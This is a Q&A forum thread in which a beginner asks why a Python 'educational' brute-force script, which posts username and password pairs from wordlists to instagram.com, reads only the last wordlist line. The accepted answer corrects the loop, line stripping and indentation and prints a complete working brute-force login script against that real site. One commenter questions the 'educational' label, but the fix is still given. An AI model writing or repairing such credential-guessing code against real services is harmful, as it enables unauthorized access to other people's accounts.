Python only reads the last word of my Wordlist

Asked

Viewed 175 times

0

I’m starting in python and I picked up an educational script from bruteforce. However, when the script reads the Wordlist passwords and users, it only takes the last record and ignores all the others. How to make him read all the lines?

import requests

url='https://www.instagram.com'

file_pass = open('file_pass.txt')
file_user = open('file_user.txt')

try:
    for users in file_user.readlines():
        for passw in file_pass.readlines():
            payload = {'username': users, 'password': passw}
            requisicao = requests.post(url, data=payload)
        if 'Sua senha está incorreta. Confira-a.' in requisicao.text:
            print('User: {}  Pass: {} > Inválido'.format(users, passw))
        else:
            print('User: {}  Pass: {} > Válido'.format(users, passw))
except KeyboardInterrupt:
    print("Varredura encerrada!")
  • A tip: readlines loads the entire file to memory (which can be a problem in large files). To read line by line, just do for users in file_user and for passw in file_pass. Also consider use with to open the files, pios so you ensure that they are closed at the end even in case of error.

  • @hkotsubo - I removed readlines(), but now I get the error: Traceback (Most recent call last): File "c:/Users/User/Desktop/DEV - APPS/bruteforce/bruteforce.py", line 10, in <module> for passw in file_pass(): Typeerror: '_io.Textiowrapper' Object is not callable

  • It’s just file_pass, bracketless

  • He "bruteforce educational script"...

  • i think you should follow what hkotsubo said, but looking at your code it seems that if and It should be within the second is.

  • @Eduardocaetanwas actually the identation was incorrect, I repaired!

Show 1 more comment

1 answer

0


You’re making three mistakes in your code:

1) You need to return the cursor of the password file to the beginning:

file_pass.seek(0)

2) For each line read, the line break character needs to be removed from the end of the string;

 payload = {'username': users.strip(), 'password': passw.strip()}

3) Your block if is not indented correctly.

See the commented solution:

import requests

url='https://www.instagram.com'

# Abre arquivos
file_pass = open('file_pass.txt')
file_user = open('file_user.txt')

try:
    # Para cada usuario....
    for users in file_user.readlines():

        # Retorna cursor para o inicio do arquivo de senhas
        file_pass.seek(0)

        # Para cada senha...
        for passw in file_pass.readlines():

            # Monta payload removendo quebra de linha
            payload = {'username': users.strip(), 'password': passw.strip()}

            # Requisicao HTTP
            requisicao = requests.post(url, data=payload)

            # Verifica conteudo da resposta
            if 'Sua senha está incorreta. Confira-a.' in requisicao.text:
                print('{} --> Inválido'.format(payload))
            else:
                print('{} --> Válido'.format(payload))

except KeyboardInterrupt:
    print("Varredura encerrada!")

# Fecha arquivos
file_pass.close()
file_user.close()
  • Ball show! Now it reads all lines of passwords Only now, too, it informs valid for all attempts and always goes back to the beginning kkkk

  • As you yourself commented in your question, it is only an "educational script".

  • exactly, I am learning what can be done with Phyton. (._.)/

  • Anyway, I thank you.

  • Experimentation + persistence = Viability

  • Absolutely, thank you very much for the north!

  • Maybe with that you can get further.

Show 2 more comments

Browser other questions tagged

You are not signed in. Login or sign up in order to post.